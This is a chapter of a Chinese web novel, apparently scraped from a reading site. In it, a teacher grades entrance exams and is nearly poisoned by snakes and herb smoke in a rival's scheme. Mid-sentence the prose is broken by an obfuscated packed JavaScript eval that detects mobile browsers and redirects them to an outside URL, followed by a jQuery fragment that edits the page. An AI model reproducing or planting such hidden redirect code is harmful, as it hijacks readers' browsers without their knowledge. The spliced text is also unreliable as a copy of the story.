考选最初几日并不算很忙，百川只需要午前午后各监考一场笔试，第四天开始，她便需与众师者一起整天关在医宗堂里批阅考。


    此次举国上下前来参加纳川书院入学考选的共有二千余人，其中报考医宗的有五百余人，也就是说，最终只有不到三十人能够进入纳川医宗门下，按照往年的比例来看，光是第一轮笔试就会淘汰掉至少三分之二以上的人数。


    根据每年考卷的难易程度，淘汰的具体人数会有所不同，而最终判断一份考题的品质高低，也要结合当年淘汰的人数来考察，淘汰人数过少，证明考卷太简单，后期的师者面审则需要适当调整难易，淘汰人数太多，考题过难也并不合理，最理想的考题则需要拉开考生的优劣层次，从答题情况中能细致地看出其水平。


    所有这些在出题时都无法全部展现，需要结合最终的考卷完成情况来看，然后总结问题教训，在来年出题时注意避免。所以批改考卷不仅仅考察的是考生，也考察出题的师者。


    百川素来认真，每次批改考卷时都在一旁备着纸笔，只要从考生答题中发现与自己出题预期不合的问题就及时分析记下，但实际上，医宗的考卷中大多数题目考察的是药理内术，百川所出的关于外术的题量只占不到二十分之一，且难度大多不高，而即便如此，仍只有少数考生能够答对，大部分考生甚至干脆空着，因为医药正宗很少有医者会拿起手术刀，因而每年几乎没有人会报考医宗的外术一脉。


    百川醮着红墨一边在考卷上勾着鸭蛋，一边不住叹气。


    “今年的考生答题水平比往年都要高出许多，考卷的得分点层次分部也很合理，百川师者为何还这般唉声叹气？”旁边的一位师者含笑问道。


    “即便考生水平再高，百川师者也捞不到一个，你说她为何叹气。”


    一帮人你问我答，既而相视而笑，每年都如此，他们纯粹是故意调侃她。


    百川懒得理睬他们，只顾闷头计分，只是这帮考生也太过分了，比如眼下这份考卷，其他题目都答得挺不错，唯独外术题目，居然每题都只写一句话，“板蓝根一剂，外加多喝开水”，关键是，字还写得那么丑……这还算好的，至少证明人家努力过了，考生性格也还算温和，还有的居然大言不惭，义正言辞地写着“医者悬壶济世，持刀为人不耻”，还不如空着不写。


    百川气得手抖，把笔一丢，腾地站起身，将旁边刚才开玩笑的师者吓了一跳。


    “我去净手。”


    她刚走到门口，就听一位年轻的师者忽然惊叹道：“好厉害的考生，字迹优雅，对答流畅，甚至连外术题所答都与标准无异，堪称完美。”


    百川脚下一顿，又折了回来，跟着一帮师者一起凑上前去观摩这份完美考卷。百川遥望一眼，激动得尿意全无，那字迹，她一看便认出是上官寒。


    “当真是了不得，可惜考卷密封，也不知道是哪个世家的子弟。”


    几位师者互相看一眼，面上神情若渴，要是最后面审谁能收此人入门下，可谓万幸。百川强忍住笑意，静悄悄地退到门口。


    “百川师者不再多欣赏欣赏？”一位师者捧着这份考卷不住咋舌。


    “再欣赏也没她的份儿。”另一位师者挥挥手，众人纷纷大笑。


    百川只是淡定一笑，快步走出医宗堂后，忍不住捏起拳头振臂跳跃，鹿死谁手还不知道呢。


    因而，所有考卷分数统计完后，当发现榜上那位有史以来得分最高的考生是上官寒时，除了百川，众师者面上均是一派尴尬，那个改卷的师者更是懊悔，早知道是他，当初无论如何也要给他把分压低点的，年轻的师者谁愿意得罪黄继呢。


    “今年的考生作答水平的确比往年都要高出许多呢，哈哈哈哈……”百川当着众师者的面，仰天长啸。


    然而她还没笑足半日，便出了纰漏。


    明日便是第二轮师者面审，面审无法像笔试那般密封姓名答题，也就是说人为因素更多。希望不要出什么问题，百川一边往后山走，一边暗自祈祷。


    她这几日忙于阅卷，连来兔舍的机会都少了些，可千万别把她的宝贝兔子们饿着。正当百川这么想时，眼角瞄见黄坦那小匹夫的身影从后山一闪而过。


    黄坦是黄家的小儿子，也即那个在解剖课上当众把脑花儿丢百川裙子上的香囊小子。百川一直不大喜欢这小子，身上成天挂三四个锦囊物什，走路带风，风中带香，香里还夹杂着调笑声，每一缕气息都在彰显自己是个纨绔。


    “他来干嘛？”


    百川纳闷，又隐约觉着有些不好预感，遂快步走到兔舍中，仔细查看，生怕这小子趁着她来得少，偷偷欺负她的兔子。


    果不其然，待查到角落时，两条麻绳粗细的花斑长蛇原本盘在一起，听见动静后便一溜而过，钻进了兔舍深处。


    百川皱眉，夏日后山多鼠蚁蛇虫，她一直都在兔舍内熏着特制的香，一来除味，二来驱蛇，因而兔舍本不会有蛇靠近。


    “那小崽子，鬼鬼祟祟，原来是在这放蛇害她兔子。”


    百川拿着捕蛇竹夹寻了半天，也未能寻到那两条蛇，且谁知道角落里还有没有其它的蛇虫，因而她也不敢再冒然找寻，免得把自己给咬到。


    方才光线昏暗，她也没看明白那蛇到底有没有毒。保险起见，她从兔舍仓库中取出两捆晒干用来制香的草药，在舍外引燃后灭了火星，一手一把，以湿布蒙面，趁着烟气旺赶紧钻进了兔舍，在每个角落都停留片刻，让草药烟熏遍整个兔舍。


    百川在这边忙得热火朝天，自然是不知道后山之外，有弟子手指兔舍的地方议论着：“那边怎么冒烟了？”


    “看着像是兔舍的位置，难不成是百川师者熏的香把兔舍引燃了？”


    “不会吧，百川师者呢？”


    正在议论间，黄坦靠近过来，面上故作担忧：“我方才看见百川师者朝兔舍去了，她去没一会儿，那边就起了烟。”


    “师者不会被困在兔舍了吧。”


    “你赶快去找师尊，我去打水。”


    众人分头行动，而不远处的上官寒目色森冷，只因他从那个叫黄坦的弟子身上，闻到了格外熟悉的味道，那是属于某种


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201900|197220||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    毒蛇的腥味。


    百川在兔舍拼命熏着烟，就在她自己都被熏得眼水直冒时，终于看到两三条蛇影游了出来，说来也怪，这蛇居然第一反应不是往门外跑，而是钻进兔笼中，眼看着就要对她的兔子下嘴。


    “这什么穷凶极恶的蛇，居然驱蛇烟都不怕，还想着吃呢！”


    百川大喝一声，伸出捕蛇夹就要上，下一瞬，门外忽然射出三道银光，将那三条蛇死死钉在笼边。蛇吃痛地挣扎，盘卷成一串圈。


    “不要命了？被这蛇咬一口，死十个你都够了。”


    上官寒的冷喝令她止住了脚步，百川往后退了退，惊诧地看着来人，还没来得及开口，便被他握住手腕，一把拉出兔舍。


    “你怎么来了？不是，你怎么能来……”


    她话没说完，嘴里忽地被上官寒塞进一物，没来得及反应，只听对方沉沉一句：“咽下去。”


    百川也没多想，乖乖地咽了两次，药丸有点大，没能成功。她被噎得眼泪汪汪，含着药问：“能嚼么，我嗓子眼小……”


    上官寒似是极其无奈地阖目点头，于是百川将那药嚼巴嚼巴，艰难地咽了下去。


    “苦倒是不苦，就是干巴了些，下次可加些麻油混合搅拌……”


    “你可知那是什么蛇？”


    他没等她说完，直接打断了她的话，语气阴冷。


    “没看出来。”百川老实摇头，“但我也没打算直接上手啊，我又不傻。”


    “那蛇原产自沿海一带，本就不属于此地，一来这药烟对之无效，二来那蛇明显被饿了多日，极其凶猛。”


    “可是我这不也没被咬么，那你为何要喂我吃这药呢？”


    百川问完，只见上官寒抬眼淡淡扫来，眸底似覆着一层化不开的寒冰，透着凉薄的阴鸷与嘲弄，叫她看着有些发怵。


    “更有意思的是，我在那黄坦身上，不仅闻到了蛇腥味，还闻到一味香，原是制毒者用来驭蛇的，香本无毒，可刚好与百川师者用来驱蛇的草烟混合，久闻后便会中毒。”


    “黄坦那小子，欺师灭祖了还，居然想毒死我。”百川捏着拳头，可恨她没能当场抓住那小匹夫，进兔舍时因着里面味道太杂，也没能闻出那味诡异的香。


    上官寒冷笑：“毒不致死，不过会令人头晕目眩，吐个半日再睡个半日，刚好能错过明日的师者面审。”


    百川惊了，原来那对老小匹夫是存了这番心思，没了她在场，明日考场可不就是他们黄氏一言堂了么。


    “百川师者终于知道自己中计了。”上官寒淡淡道。


    百川眼皮一紧，片刻后抬眸，闲凉地看了眼上官寒：“是你中计了才对。”


    末了她长叹一声，沮丧地蹲在地上，苦恼地抓着头发：“你说你非得来干嘛，左右我又死不掉，躺一天就躺一天呗，你这么厉害明天面审没我你自己也能行呀，但是你这会子跟我独处这么久，肯定会被黄坦那小子告发你我二人考前作弊了。”


    完了，就算他笔试考得再好也没用了。


    她这只快到嘴的肥徒，眼看着又要飞了。